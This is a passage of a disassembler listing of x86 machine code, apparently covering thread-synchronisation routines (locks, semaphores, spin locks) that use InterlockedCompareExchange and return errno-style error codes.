test eax, eax
jle short loc_432764
push ebx
call sub_4010C3
add esp, 4
mov edi, eax
test edi, edi
push esi
jz short loc_43274B
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43274B: ; CODE XREF: ___:0043273Bj
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43275E
loc_432759: ; CODE XREF: ___:0043270Ej
mov edi, 10h
loc_43275E: ; CODE XREF: ___:00432757j
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432764: ; CODE XREF: ___:0043272Bj
mov eax, edi
mov dword ptr [esi+10h], 1
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432771: ; CODE XREF: ___:00432699j
; ___:004326A3j ...
mov eax, 16h
loc_432776: ; CODE XREF: ___:004326BEj
; ___:004326DEj ...
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4327C0: ; CODE XREF: ___:00401BF9j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_4327D7
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_4327D7: ; CODE XREF: ___:004327CFj
mov eax, [esp+8]
neg eax
sbb eax, eax
and eax, 30h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432800: ; CODE XREF: ___:00401E97j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432827
mov eax, [esp+8]
test eax, eax
jz short loc_432827
cmp eax, 2
jbe short loc_432827
mov dword ptr [eax], 0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432827: ; CODE XREF: ___:0043280Fj
; ___:00432817j ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432840: ; CODE XREF: ___:0040117Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
push ebx
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432886
mov edi, [esp+14h]
test edi, edi
jz short loc_432886
mov esi, [edi]
push eax
call sub_40154B
add esp, 4
cmp esi, eax
jl short loc_432886
push 0
call sub_401438
add esp, 4
cmp esi, eax
jg short loc_432886
mov eax, [ebx]
mov ecx, [edi]
pop edi
pop esi
mov [eax+10h], ecx
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432886: ; CODE XREF: ___:00432852j
; ___:0043285Aj ...
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4328B0: ; CODE XREF: ___:00401EDDj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_4328D5
mov eax, [esp+0Ch]
test eax, eax
jz short loc_4328D5
mov ecx, [esi]
pop esi
mov edx, [ecx+10h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4328D5: ; CODE XREF: ___:004328C0j
; ___:004328C8j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4328F0: ; CODE XREF: ___:004015B4j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_432909
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432909: ; CODE XREF: ___:00432900j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_43291D
cmp eax, 1
jz short loc_43291D
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43291D: ; CODE XREF: ___:0043290Fj
; ___:00432914j
mov ecx, [esi]
pop esi
mov [ecx+14h], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432940: ; CODE XREF: ___:004019D8j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432965
mov eax, [esp+0Ch]
test eax, eax
jz short loc_432965
mov ecx, [esi]
pop esi
mov edx, [ecx+14h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432965: ; CODE XREF: ___:00432950j
; ___:00432958j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432980 proc near ; CODE XREF: sub_401050j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_4329C5
mov eax, [esp+4+arg_4]
test eax, eax
jl short loc_4329C0
cmp eax, 2
jg short loc_4329C0
test eax, eax
jz short loc_4329AC
mov eax, 30h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4329AC: ; CODE XREF: sub_432980+23j
mov eax, [esp+4+arg_8]
mov ecx, [eax]
push ecx
push 0
push esi
call sub_4020B3
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_4329C0: ; CODE XREF: sub_432980+1Aj
; sub_432980+1Fj
mov eax, 16h
loc_4329C5: ; CODE XREF: sub_432980+12j
pop esi
retn
sub_432980 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4329F0 proc near ; CODE XREF: sub_4020B3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
push edi
mov [esp+0Ch+arg_8], esi
call sub_40154B
add esp, 4
cmp esi, eax
jl loc_432A95
push edi
call sub_401438
add esp, 4
cmp esi, eax
jg short loc_432A95
cmp esi, 0FFFFFFF1h
jle short loc_432A30
cmp esi, 0FFFFFFFEh
jge short loc_432A30
mov [esp+8+arg_8], 0FFFFFFFEh
jmp short loc_432A42
; ---------------------------------------------------------------------------
loc_432A30: ; CODE XREF: sub_4329F0+2Fj
; sub_4329F0+34j
cmp esi, 0Fh
jge short loc_432A42
cmp esi, 2
jle short loc_432A42
mov [esp+8+arg_8], 2
loc_432A42: ; CODE XREF: sub_4329F0+3Ej
; sub_4329F0+43j ...
mov edi, [esp+8+arg_0]
push ebx
push ebp
lea ebp, [edi+24h]
push ebp
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_432A8E
mov eax, [esp+10h+arg_8]
mov ecx, [edi+4]
push eax
push ecx
nop
call near ptr 2740884h
test eax, eax
jnz short loc_432A82
push ebp
mov ebx, 16h
call sub_4010C3
add esp, 4
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432A82: ; CODE XREF: sub_4329F0+7Bj
push ebp
mov [edi+28h], esi
call sub_4010C3
add esp, 4
loc_432A8E: ; CODE XREF: sub_4329F0+68j
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432A95: ; CODE XREF: sub_4329F0+19j
; sub_4329F0+2Aj
pop edi
mov eax, 16h
pop esi
retn
sub_4329F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432AD0 proc near ; CODE XREF: sub_40218Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_432B09
mov ecx, [esp+4+arg_4]
cmp ecx, 2
jbe short loc_432B04
mov eax, [esp+4+arg_8]
test eax, eax
jz short loc_432B04
mov dword ptr [ecx], 0
mov ecx, [esi+28h]
mov [eax], ecx
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_432B04: ; CODE XREF: sub_432AD0+1Bj
; sub_432AD0+23j
mov eax, 16h
loc_432B09: ; CODE XREF: sub_432AD0+12j
pop esi
retn
sub_432AD0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432B20 proc near ; CODE XREF: sub_401438j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_432B33
cmp eax, 2
jg short loc_432B33
mov eax, 0Fh
retn
; ---------------------------------------------------------------------------
loc_432B33: ; CODE XREF: sub_432B20+6j
; sub_432B20+Bj
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_432B20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432B60 proc near ; CODE XREF: sub_40154Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_432B73
cmp eax, 2
jg short loc_432B73
mov eax, 0FFFFFFF1h
retn
; ---------------------------------------------------------------------------
loc_432B73: ; CODE XREF: sub_432B60+6j
; sub_432B60+Bj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_432B60 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432BA0: ; CODE XREF: ___:00401AC8j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_432BE5
call near ptr 2740856h
nop
cmp esi, eax
jz short loc_432BE5
push esi
push 0
push 200h
call near ptr 2790000h
nop
test eax, eax
jnz short loc_432BE5
call near ptr 27C0847h
nop
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432BE5: ; CODE XREF: ___:00432BA7j
; ___:00432BB1j ...
mov eax, [esp+0Ch]
test eax, eax
jz short loc_432BFE
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432BFE: ; CODE XREF: ___:00432BEBj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432C30: ; CODE XREF: ___:0040150Aj
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_432C75
call near ptr 2740856h
nop
cmp esi, eax
jz short loc_432C75
push esi
push 0
push 400h
nop
call near ptr 2790000h
test eax, eax
jnz short loc_432C75
nop
call near ptr 27C0847h
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432C75: ; CODE XREF: ___:00432C37j
; ___:00432C41j ...
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432CA0: ; CODE XREF: ___:00401B4Aj
push 0
call near ptr 2840000h
nop
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432CC0 proc near ; CODE XREF: sub_401C76j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
xor edi, edi
test eax, eax
jz short loc_432CDF
mov edi, 1
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432CDF: ; CODE XREF: sub_432CC0+Aj
push 4
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432CF7
mov edi, 0Ch
loc_432CF7: ; CODE XREF: sub_432CC0+30j
mov eax, [esp+8+arg_8]
push 0
push 3FFFFFFFh
push eax
push 0
nop
call near ptr 2740200h
test eax, eax
mov [esi], eax
jnz short loc_432D24
mov edi, 1Ch
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432D24: ; CODE XREF: sub_432CC0+4Fj
test edi, edi
jz short loc_432D36
call near ptr 77C1F2BCh
nop
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432D36: ; CODE XREF: sub_432CC0+66j
mov ecx, [esp+8+arg_0]
pop edi
xor eax, eax
mov [ecx], esi
pop esi
retn
sub_432CC0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432D80 proc near ; CODE XREF: sub_401686j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
jz short loc_432DA5
mov esi, [edi]
test esi, esi
jz short loc_432DA5
mov dword ptr [edi], 0
mov eax, [esi]
push eax
call near ptr 28409D0h
nop
test eax, eax
jnz short loc_432DB7
mov [edi], esi
loc_432DA5: ; CODE XREF: sub_432D80+8j
; sub_432D80+Ej
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432DB7: ; CODE XREF: sub_432D80+21j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor eax, eax
pop edi
pop esi
retn
sub_432D80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432DF0 proc near ; CODE XREF: sub_4010A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_432E23
mov eax, [eax]
test eax, eax
jz short loc_432E23
mov eax, [eax]
push 0
push eax
call near ptr 27703A1h
nop
cmp eax, 102h
jnz short loc_432E35
mov esi, 0Bh
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E23: ; CODE XREF: sub_432DF0+7j
; sub_432DF0+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E35: ; CODE XREF: sub_432DF0+1Fj
xor eax, eax
pop esi
retn
sub_432DF0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E60 proc near ; CODE XREF: sub_401041j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_432E8D
mov eax, [eax]
test eax, eax
jz short loc_432E8D
mov eax, [eax]
push eax
call sub_401640
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F0h, 1F74F685h, 0C436E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_432E8D: ; CODE XREF: sub_432E60+7j
; sub_432E60+Dj
mov esi, 16h
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
sub_432E60 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432ED0 proc near ; CODE XREF: sub_401898j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push ebp
mov ebp, [esp+10h+arg_0]
test ebp, ebp
push esi
jnz short loc_432EF3
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
pop esi
or eax, 0FFFFFFFFh
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432EF3: ; CODE XREF: sub_432ED0+Bj
push ebx
push edi
mov edi, [esp+1Ch+arg_4]
test edi, edi
jnz short loc_432F02
or ebx, 0FFFFFFFFh
jmp short loc_432F61
; ---------------------------------------------------------------------------
loc_432F02: ; CODE XREF: sub_432ED0+2Bj
lea eax, [esp+1Ch+var_C]
xor ebx, ebx
push eax
nop
call near ptr 77C49113h
mov ecx, [edi]
mov esi, [esp+20h+var_C]
add esp, 4
cmp ecx, esi
jl short loc_432F61
mov edx, [edi+4]
mov eax, 431BDE83h
add edx, 7A120h
mul edx
lea eax, [ecx+ecx*4]
lea ecx, [esi+esi*4]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
sub eax, ecx
mov ecx, [esp+1Ch+var_8]
and ecx, 0FFFFh
cmp eax, ecx
jbe short loc_432F61
sub eax, ecx
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_432F61
dec ebx
loc_432F61: ; CODE XREF: sub_432ED0+30j
; sub_432ED0+4Aj ...
mov edx, [ebp+0]
push ebx
mov eax, [edx]
push eax
call sub_401D70
sub_432ED0 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 8
dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh
dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h)
dd 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_432FE0 proc near ; CODE XREF: sub_40103Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_432FFF
mov eax, [eax]
test eax, eax
jz short loc_432FFF
mov eax, [eax]
push 0
push 1
push eax
nop
call near ptr 2740000h
test eax, eax
jnz short loc_43300F
loc_432FFF: ; CODE XREF: sub_432FE0+6j
; sub_432FE0+Cj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_43300F: ; CODE XREF: sub_432FE0+1Dj
xor eax, eax
retn
sub_432FE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433030 proc near ; CODE XREF: sub_40204Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_433056
mov eax, [eax]
test eax, eax
jz short loc_433056
mov ecx, [esp+arg_4]
test ecx, ecx
jle short loc_433056
mov eax, [eax]
push 0
push ecx
push eax
nop
call near ptr 2740000h
test eax, eax
jnz short loc_433066
loc_433056: ; CODE XREF: sub_433030+6j
; sub_433030+Cj ...
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_433066: ; CODE XREF: sub_433030+24j
xor eax, eax
retn
sub_433030 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433080: ; CODE XREF: ___:00401433j
mov eax, [esp+4]
push esi
test eax, eax
push edi
jz short loc_4330CD
mov esi, [eax]
test esi, esi
jz short loc_4330CD
mov edi, [esp+10h]
test edi, edi
jz short loc_4330CD
mov eax, [esi]
push 0
push eax
nop
call near ptr 27703A1h
cmp eax, 102h
jnz short loc_4330B1
xor eax, eax
mov [edi], eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4330B1: ; CODE XREF: ___:004330A8j
mov edx, [esi]
lea ecx, [esp+0Ch]
push ecx
push 1
push edx
nop
call near ptr 2740000h
mov eax, [esp+0Ch]
inc eax
mov [edi], eax
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4330CD: ; CODE XREF: ___:00433088j
; ___:0043308Ej ...
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433100: ; CODE XREF: ___:0040220Cj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433120: ; CODE XREF: ___:00402013j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433140: ; CODE XREF: ___:00401CB2j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433160 proc near ; CODE XREF: sub_401992j
arg_0 = dword ptr 4
push esi
push offset dword_50E980
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_433194
push esi
push ecx
call sub_4021EE
add esp, 8
mov esi, eax
push offset dword_50E980
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433194: ; CODE XREF: sub_433160+17j
test eax, eax
jnz short loc_43319D
mov esi, 16h
loc_43319D: ; CODE XREF: sub_433160+36j
push offset dword_50E980
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
sub_433160 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4331D0 proc near ; CODE XREF: sub_4021EEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
mov ebp, [esp+0Ch+arg_0]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov [esp+14h+var_4], edi
jnz short loc_4331EE
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4331EE: ; CODE XREF: sub_4331D0+11j
lea eax, [esp+14h+var_4]
push eax
call sub_401C26
mov ebx, [esp+18h+arg_4]
add esp, 4
test eax, eax
jz short loc_433229
mov [esp+14h+var_4], 1
loc_43320B: ; CODE XREF: sub_4331D0+5Ej
; sub_4331D0+63j
push 8
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433240
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_433229: ; CODE XREF: sub_4331D0+31j
cmp [esp+14h+var_4], 1
jle short loc_43320B
cmp ebx, 1
jnz short loc_43320B
pop edi
pop esi
pop ebp
mov eax, 28h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_433240: ; CODE XREF: sub_4331D0+4Cj
mov eax, [esp+14h+var_4]
cmp eax, 1
jle short loc_43325D
mov [esi+4], eax
mov dword ptr [esi], 1
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43325D: ; CODE XREF: sub_4331D0+77j
lea ecx, [esp+14h+arg_0]
push ecx
call sub_401A0F
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_433293
mov edx, [esp+14h+arg_0]
lea eax, [esp+14h+arg_0]
lea ecx, [esi+4]
push eax
push ecx
mov [edx], ebx
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_433293
mov dword ptr [esi], 3
loc_433293: ; CODE XREF: sub_4331D0+9Ej
; sub_4331D0+BBj
lea edx, [esp+14h+arg_0]
push edx
call sub_4010AA
add esp, 4
test edi, edi
jnz short loc_4332AF
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4332AF: ; CODE XREF: sub_4331D0+D2j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, edi
mov dword ptr [ebp+0], 0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4331D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433310: ; CODE XREF: ___:00401109j
push ebx
push esi
push edi
mov edi, [esp+10h]
xor ebx, ebx
test edi, edi
jz loc_4333B5
mov esi, [edi]
test esi, esi
jz loc_4333B5
cmp esi, 0FFFFFFFFh
jz short loc_433378
cmp dword ptr [esi], 3
jnz short loc_43335D
lea eax, [esi+4]
push eax
call sub_40222F
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_4333AF
loc_433347: ; CODE XREF: ___:0043336Bj
push esi
mov dword ptr [edi], 0
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43335D: ; CODE XREF: ___:00433333j
push 1
push 0
push esi
call dword_50E3FC ; InterlockedCompareExchange
cmp eax, 1
jz short loc_433347
mov ebx, 16h
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433378: ; CODE XREF: ___:0043332Ej
push offset dword_50E980
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_43339F
push offset dword_50E980
mov dword ptr [edi], 0
call near ptr 7C9010EDh
nop
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43339F: ; CODE XREF: ___:00433386j
push offset dword_50E980
mov ebx, 10h
nop
call near ptr 7C9010EDh
loc_4333AF: ; CODE XREF: ___:00433345j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4333B5: ; CODE XREF: ___:0043331Bj
; ___:00433325j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4333F0: ; CODE XREF: ___:004021C1j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433451
mov eax, [esi]
test eax, eax
jz short loc_433451
cmp eax, 0FFFFFFFFh
jnz short loc_433411
push esi
call sub_401992
add esp, 4
test eax, eax
jnz short loc_433456
loc_433411: ; CODE XREF: ___:00433402j
mov esi, [esi]
push 1
push 2
push esi
call dword_50E3FC ; InterlockedCompareExchange
cmp eax, 2
jnz short loc_433433
loc_433423: ; CODE XREF: ___:00433431j
push 1
push 2
push esi
call dword_50E3FC ; InterlockedCompareExchange
cmp eax, 2
jz short loc_433423
loc_433433: ; CODE XREF: ___:00433421j
mov eax, [esi]
cmp eax, 2
jnz short loc_43343E
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_43343E: ; CODE XREF: ___:00433438j
cmp eax, 3
jnz short loc_433451
add esi, 4
push esi
call sub_402225
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_433451: ; CODE XREF: ___:004333F7j
; ___:004333FDj ...
mov eax, 16h
loc_433456: ; CODE XREF: ___:0043340Fj
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433480: ; CODE XREF: ___:00401AA5j
mov eax, [esp+4]
push esi
test eax, eax
jz short loc_4334C1
mov esi, [eax]
test esi, esi
jz short loc_4334C1
cmp esi, 0FFFFFFFFh
jnz short loc_43349B
loc_433494: ; CODE XREF: ___:004334A7j
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_43349B: ; CODE XREF: ___:00433492j
push 2
push 1
push esi
call dword_50E3FC ; InterlockedCompareExchange
dec eax
jz short loc_433494
dec eax
jz short loc_4334BD
dec eax
jnz short loc_4334C1
add esi, 4
push esi
call sub_4010C3
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_4334BD: ; CODE XREF: ___:004334AAj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4334C1: ; CODE XREF: ___:00433487j
; ___:0043348Dj ...
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4334F0: ; CODE XREF: ___:00401933j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433540
mov eax, [esi]
test eax, eax
jz short loc_433540
cmp eax, 0FFFFFFFFh
jnz short loc_433511
push esi
call sub_401992
add esp, 4
test eax, eax
jnz short loc_433545
loc_433511: ; CODE XREF: ___:00433502j
mov esi, [esi]
push 1
push 2
push esi
call dword_50E3FC ; InterlockedCompareExchange
dec eax
jz short loc_43353C
dec eax
jz short loc_433535
dec eax
jnz short loc_433540
add esi, 4
push esi
call sub_40177B
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_433535: ; CODE XREF: ___:00433522j
mov eax, 10h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43353C: ; CODE XREF: ___:0043351Fj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_433540: ; CODE XREF: ___:004334F7j
; ___:004334FDj ...
mov eax, 16h
loc_433545: ; CODE XREF: ___:0043350Fj
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433570: ; CODE XREF: ___:00401244j
push esi
mov esi, [esp+8]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
